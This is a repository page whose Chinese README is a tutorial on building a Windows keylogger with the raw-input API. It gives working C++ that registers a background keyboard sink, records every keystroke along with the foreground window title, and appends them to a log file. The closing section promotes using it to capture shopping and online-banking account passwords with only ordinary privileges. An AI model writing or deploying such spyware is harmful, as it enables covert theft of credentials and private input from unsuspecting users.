# RawInputData_Test **Repository Path**: autumn2016/RawInputData_Test ## Basic Information - **Project Name**: RawInputData_Test - **Description**: 克隆项目,原项目路径:https://www.writebug.com/git/Hydra/RawInputData_Test/src/branch/master - **Primary Language**: Unknown - **License**: MIT - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2022-11-23 - **Last Updated**: 2022-11-23 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # 使用GetRawInputData函数实现键盘按键记录 # 背景 对于按键记录这方面的功能自己写过几个,实现的方式也都不同。例如在应用层,可以使用全局键盘钩子实现按键记录,也可以使用获取系统设备原始输入方式来实现按键记录。在内核层下,我们可以在驱动设备上面挂在一个键盘过滤设备,创建一个过滤驱动,就可以获取键盘消息等等。 现在,我们主要讲解的是应用层上使用获取原始输入的方法实现的按键记录。这种方式比全局键盘钩子更加底层而且有效。很多软件,都能屏蔽全局键盘钩子对按键消息的获取。现在,我就把实现过程和原理整理成文档,分享给大家。 # 函数声明 ## RegisterRawInputDevices 函数 > 注册提供原始输入数据的设备。 > > 函数声明 > > ```c++ > BOOL WINAPI RegisterRawInputDevices( > _In_ PCRAWINPUTDEVICE pRawInputDevices, > _In_ UINT uiNumDevices, > _In_ UINT cbSize > ); > ``` > > 参数 > > - pRawInputDevices [in] > 一组RAWINPUTDEVICE结构,代表提供原始输入的设备。 > - uiNumDevices [in] > pRawInputDevices指向的RAWINPUTDEVICE结构的数量。 > - cbSize [in] > RAWINPUTDEVICE结构的大小(以字节为单位)。 > > 返回值 > > - 如果函数成功,则为TRUE;否则为FALSE。如果函数失败,请调用GetLastError获取更多信息。 > > 备注 > > - 要接收WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevices注册原始输入设备。默认情况下,应用程序不接收原始输入。 > - 要接收WM_INPUT_DEVICE_CHANGE消息,应用程序必须为RAWINPUTDEVICE结构的usUsagePage和usUsage字段指定的每个设备类指定RIDEV_DEVNOTIFY标志。默认情况下,应用程序不会收到WM_INPUT_DEVICE_CHANGE通知,用于原始输入设备到达和删除。 > - 如果RAWINPUTDEVICE结构具有RIDEV_REMOVE标志设置且hwndTarget参数未设置为NULL,则参数验证将失败。 ## GetRawInputData 函数 > 从指定的设备获取原始输入。 > > 函数声明 > > ```c++ > UINT WINAPI GetRawInputData( > _In_ HRAWINPUT hRawInput, > _In_ UINT uiCommand, > _Out_opt_ LPVOID pData, > _Inout_ PUINT pcbSize, > _In_ UINT cbSizeHeader > ); > ``` > > 参数 > > - hRawInput [in] > RAWINPUT结构的句柄。 这来自于WM_INPUT中的lParam。 > > - uiCommand [in] > 命令标志。 此参数可以是以下值之一: > > | VALUE | MEANING | > | ---------- | ----------------- | > | RID_HEADER | 从RAWINPUT结构获取头信息 | > | RID_INPUT | 从RAWINPUT结构获取原始数据 | > > - pData [out\] > 指向来自RAWINPUT结构的数据的指针。 这取决于uiCommand的值。 如果pData为NULL,则在* pcbSize中返回所需的缓冲区大小。 > > - pcbSize [in,out] > pData中数据的大小(以字节为单位)。 > > - cbSizeHeader [in] > RAWINPUTHEADER结构的大小(以字节为单位)。 > > 返回值 > > - 如果pData为NULL且函数成功,则返回值为0。如果pData不为空,函数成功,返回值为复制到pData中的字节数。如果有错误,返回值为(UINT)-1。 # 实现原理 使用原始输入的方法实现的按键记录程序,大致可以分成三个部分:注册原始输入设备、获取原始输入数据、保存按键信息。现在,我们分别对这 3 个部分一一进行解析。 ## 注册原始输入设备 我们使用获取原始输入的方法来实现按键纪录,默认情况下,应用程序不接收原始输入。要接收原始输入 WM_INPUT 消息,应用程序必须首先使用 WIN32 API 函数 RegisterRawInputDevices 注册原始输入设备。 在注册原始输入设备中,RAWINPUTDEVICE 结构体中的 RIDEV_INPUTSINK 成员表示,即使程序不是处于上层窗口或是激活窗口,程序依然可以接收原始输入,但是,结构体成员目标窗口的句柄 hwndTarget 必须要被指定。 所以,在初始化 RAWINPUTDEVICE 结构体之后,调用 RegisterRawInputDevices 函数注册一个原始输入设备。 ## 获取原始输入数据 在注册原始输入设备之后,我们可以在程序窗口过程函数中,捕获 WM_INPUT 消息,并在 WM_INPUT 中调用 GetInputRawData 来获取原始输入数据。 其中,WM_INPUT 中的 lParam 参数,存储这原始输入的句柄。那么,直接调用 GetInputRawData 函数,根据句柄获取 RAWINPUT 原始输入结构体的数据。其中,RAWINPUT.header.dwType 表示按键输入类型;RAWINPUTDATA 结构体按键消息成员 RAWINPUTDATA.data.keyboard.Message 如果为 WM_KEYDOWN,则表示普通按键,若为 WM_SYSKEYDOWN 则表示系统按键。这时,键盘按键数据就是 RAWINPUTDATA.data.keyboard.VKey 成员,这是一个按键的虚拟键码,需要转换成 ASCII 码来保存。 那么,接下来就将从原始输入中获取的虚拟键码进行转换和保存。 ## 保存按键信息 我们将虚拟键码与ASCII码的对应信息保存在头文件见 VirtualKeyToAscii.h 中,我们直接调用自定义函数 GetKeyName 就可以实现虚拟键码与ASCII码的转换。 除了获取按键的信息,我们还获取的按键窗口标题的信息,帮助我们判断此时输入的是什么数据。通过 GetForegroundWindow 函数获取顶层窗口的句柄,然后调用 GetWindowText 函数就可以获取窗口的句柄。 然后,我们将按键数据和窗口标题信息一起追加保存到文件中。 # 编码实现 ## 注册原始输入设备 ```c++ // 注册原始输入设备 BOOL Init(HWND hWnd) { // 设置 RAWINPUTDEVICE 结构体信息 RAWINPUTDEVICE rawinputDevice = {0}; rawinputDevice.usUsagePage = 0x01; rawinputDevice.usUsage = 0x06; rawinputDevice.dwFlags = RIDEV_INPUTSINK; rawinputDevice.hwndTarget = hWnd; // 注册原始输入设备 BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice)); if (FALSE == bRet) { ShowError("RegisterRawInputDevices"); return FALSE; } return TRUE; } ``` ## 获取原始输入数据 ```c++ // 获取原始输入数据 BOOL GetData(LPARAM lParam) { RAWINPUT rawinputData = { 0 }; UINT uiSize = sizeof(rawinputData); // 获取原始输入数据的大小 ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER)); if (RIM_TYPEKEYBOARD == rawinputData.header.dwType) { // WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) || (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)) { // 记录按键 SaveKey(rawinputData.data.keyboard.VKey); } } return TRUE; } ``` ## 保存按键记录 ```c++ // 保存按键信息 void SaveKey(USHORT usVKey) { char szKey[MAX_PATH] = { 0 }; char szTitle[MAX_PATH] = { 0 }; char szText[MAX_PATH] = { 0 }; FILE *fp = NULL; // 获取顶层窗口 HWND hForegroundWnd = ::GetForegroundWindow(); // 获取顶层窗口标题 ::GetWindowText(hForegroundWnd, szTitle, 256); // 将虚拟键码转换成对应的ASCII ::lstrcpy(szKey, GetKeyName(usVKey)); // 构造按键记录信息字符串 ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey); // 打开文件写入按键记录数据 ::fopen_s(&fp, "keylog.txt", "a+"); if (NULL == fp) { ShowError("fopen_s"); return; } ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp); ::fclose(fp); } ``` # 程序测试 我们直接运行程序,然后创建一个Office Word文档,输入名称“520”,接着打开文档,输入一段字字母、数字、标点符号等,进行测试。输入情况如下所示: ![](http://www.writebug.com/myres/static/uploads/2021/10/19/dad808c695c497cbd93fc547b86e2248.writebug) 按键结束后,我们关闭程序,打开按键记录文件,查看按键记录。程序成功记录下所有按键信息: ![](http://www.writebug.com/myres/static/uploads/2021/10/19/5e2d437ec8f937c1b23d2c9957ac4f17.writebug) # 总结 这个程序功能比较强大,实现不难理解。而且,我们只需用普通权限,就可以获取系统上差不多所有进程的按键记录。例如:Office Word、浏览器输入的淘宝账号和密码、浏览器输入的网银账号和密码等等。 # 参考 参考自《[Windows黑客编程技术详解](https://www.write-bug.com/article/1811.html "Windows黑客编程技术详解")》一书